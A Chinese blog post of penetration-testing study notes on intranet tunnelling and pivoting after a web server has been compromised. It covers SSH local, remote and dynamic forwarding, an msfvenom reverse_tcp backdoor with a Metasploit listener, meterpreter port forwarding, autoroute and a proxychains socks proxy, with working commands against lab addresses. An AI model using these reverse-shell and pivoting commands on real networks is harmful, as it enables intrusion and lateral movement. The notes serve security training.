当前位置:网站首页>内网渗透隧道技术的相关知识
内网渗透隧道技术的相关知识
2022-07-19 05:14:00 【Mauro_K】
文章目录
前言
以前的暗月课程自学笔记整理。
一、内网常见隧道
应用层隧道:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道
二、SSH隧道
1.什么是SSH隧道
SSH隧道即SSH端口转发,在SSH客户端与SSH服务端之间建立一个隧道,将网络数据通过该隧道转发至指定端口,从而进行网络通信。SSH隧道自动提供了相应的加密及解密服务,保证了数据传输的安全性。
2.SSH隧道转发的三种模式
1)SSH隧道有三种端口转发模式
本地端口转发(也就是正向连接)、远程端口转发(就是反向连接)和动态端口转发(就是socks代理)。下面是一些常见参数说明:
常用参数 | 说明 |
---|---|
-f | 后台执行ssh指令 |
-C | 请求所有数据压缩传输,提高传输速度 |
-q | 安静模式. 消除所有的警告和诊断信息,就算出错也没有任何提示 |
-f | 重定向stdin 到 /dev/null |
-l | 指定用户名,就是@前面写的那个 |
-n | 重定向stdin 到 /dev/null 在后台运行时一定会用到这个选项 |
-N | 建立静默连接(建立了连接,但是看不到具体的会话) |
-g | 允许外界主机连接本地转发端口 |
-L | 表示本地端口转发 |
-R | 远程端口转发 |
-P | 指定ssh端口 |
-D | 指定一个本地机器,动态的应用程序端口转发(socks代理) |
-T | 禁止分配伪终端,当用ssh或telnet等登录系统时,系统分配给我们的终端就是伪终端。如果禁用则无法获得终端,但仍能够获得shell,只不过没有很多应有的环境变量,例如命令提示符,PS1等 |
2)SSH本地端口转发(正向连接):
情景设定:假如我们已经控制了主机1 也就是web服务器,现在想访问主机2 的数据服务器,但是主机1 和主机2 不互通 ,所以搭建SSH隧道。
简易网络拓扑说明:
解决办法:利用SSH隧道正向连接,将主机2的80端口映射到主机1的8888端口,然后让我们的kali能够访问数据服务器。
在主机1也就是web服务器上执行的命令:
# 语法
ssh –CNfg -L 监听ip:监听端口:远程主机ip:远程主机端口 用户名@跳板机ip port
ssh –CNfg -L 0.0.0.0:8888:10.10.10.11:80 [email protected]
kali访问http://192.168.8.251:8888即可成功访问主机2 的数据服务器
转发3389端口,需修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
service ssh restart
# 在web服务器上执行的转发3389端口命令
web服务器监听的ip:web服务器监听的端口:数据服务器的ip:数据服务器的端口 web服务器的ssh用户名
@web服务器的ip 端口
ssh -CNfg -L 0.0.0.0:13389:10.10.10.11:3389 [email protected] -p 22
然后web服务器上使用rdesktop连接
rdesktop 127.0.0.1 13389
3)远程端口转发(反向连接):
情景设定:假如我们已经控制了主机1 也就是web服务器,现在想访问主机2 的数据服务器,但是主机1 和主机2 不互通 ,所以搭建SSH隧道。
简易网络拓扑说明:
解决办法:利用SSH隧道反向连接,将web服务器自身的22端口映射到kali的2222端口上,然后让我们的kali能够访问数据服务器。
在web服务器上执行的命令
# 语法
ssh -qTfnN -R kali上的端口:web服务器ip:web服务器port kali上的ssh用户 @ kali的ip
# 需输入kali的SSH的密码
ssh -qTfnN -R 2222:127.0.0.1:22 [email protected]
kali上执行的命令
# 需输入web服务器的SSH密码
ssh -p 2222 [email protected]
# 转发3389端口
ssh -CNfg -R 13389:10.10.10.10:3389 [email protected]
kali上执行的命令
rdesktop 127.0.0.1 13389
4)动态端口转发(socks代理)
情景如上,这次用socks代理的方式,需注意:ssh只支持socks4和socks5两种代理。
在web服务器上执行的命令
# -D参数工作原理就是在本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接,
# 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接
# 语法
ssh -qTfnN -D port remotehost
# 对应说明 kali的ssh用户名 kali的ip
ssh -qTfnN -D 25001 [email protected]
kali上需配置浏览器的代理
最后访问http://192.168.8.251:25001即可。
三、MSF方式端口映射
1.先拿shell
1)使用msf生成后门。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.250 lport=25002 -f exe >/var/www/html/shell.exe
2)kali监听对应端口,拿到shell。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.250
set lport 25002
run
2.端口映射
1)情景设定如上所示,贴一个简易拓扑图,有益理解。
2)在meterpreter中执行命令映射端口,正向连接。之后访问kali本地25003端口即可。
在拿到shell的主机1中用msf执行以下命令
portfwd add -L 192.168.8.250 -l 25003 -p 80 -r 10.10.10.11
参数 | 说明 |
---|---|
-L | 要监听的本地主机 |
-l | 要监听的本地端口 |
-p | 连接到的远程端口 |
-r | 要连接到的远程主机 |
3.端口转发
1)在拿到shell的主机1中用msf执行以下命令。
将主机1的3389端口转发到kali的25003端口
portfwd add -l 25003 -p 3389 -r 192.168.8.251
kali上执行的命令
rdesktop 127.1.1.0:25003 #即可成功连接3389,需输入账号密码
2)portfwd的其他命令。
命令 | 说明 |
---|---|
portfwd list | 查看列表 |
portfwd flush | 清空列表 |
四、MSF跨路由扫描
1.添加路由并查看
run autoroute -s 192.168.52.0/24 #添加录路由
run autoroute -p #查看路由
route print #查看路由
2.添加代理
设置 socks 代理,注意Socks 代理支持已被整合到单个辅助模块中了,默认版本是5可以使用tcp和udp的方式需设置账号密码,可切换版本。
background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.231.133 #kali的ip不想更改默认也可以
set srvport 25002
run
3.修改配置文件
去掉 # 打开 dynamic_chain,在最下方添加代理ip和端口,不想改可直接使用默认的。如果遇到proxychains.conf 文件为空的情况,可把proxychains4.conf 中的文件内容复制过来,或者直接把proxychains.conf 文件删除,把proxychains4.conf 文件命名为proxychains.conf。proxychains不要启用DNS代理,要把proxy_dns用#注释掉,否则nmap扫描时会报错。
vim /etc/proxychains.conf
4.测试一下
测试是否能够访问内网ip,发现成功访问,配置成功。
proxychains curl http://192.168.52.143
边栏推荐
猜你喜欢
Mysql45 talking about reading notes in simple terms index (4)
一分钟掌握卡诺图化简法
Mysql45 talking about reading notes line lock (7)
RS232标准DB9接口定义
Interpretation of CO correcting: noise tolerant medical image classification via mutual label correction
典型的HMI应用实现方案,帮你更好的进行主控选型
Ktor2.0很多新特性,我们一年前就想到了,并已落实在项目中
FPGA——SPI总线详解(概念)
Allegro (cadence)导出gerber文件步骤
FPGA刷题P1:4选1多路选择器、异步复位的串联T触发器、奇偶校验、移位拼接乘法
随机推荐
UltraEdit自动换行/制表符设置
FPGA——SPI总线详解(概念)
How to test the availability and stability of EIM bus
When the vivado project version is upgraded, the relevant IP version IP status displays using cached IP results
FPGA刷题P3: 4位数值比较器电路、4bit超前进位加法器电路、优先编码器电路、 优先编码器
[a800-9000] [mindspire ascend 910 version] after installation, the official mindspot test program reported an error
Xilinx 7系列原语使用(时钟相关)——(一)
(数电)各种触发器汇总——FPGA八股文(1)
Deep Snake for Real-Time Instance Segmentation
Install Oracle 11g and build database based on Linux operating system (centos7x without graphics)
Mindscore "implementing a picture classification application" runs incorrectly
Smpl model
Mysql45 talking about reading notes global lock and table lock (6)
Xilinx FPGA关键资源评估
RAC deployment of centos7x Oracle 11g (no graphical installation)
Xilinx 7 Series primitive use (clock related) - (I)
“嵌入式智能化”为医疗设备不断赋能
三极管串联线性稳压电路原理详解及Multisim仿真
DGF网络
RetinaFace解析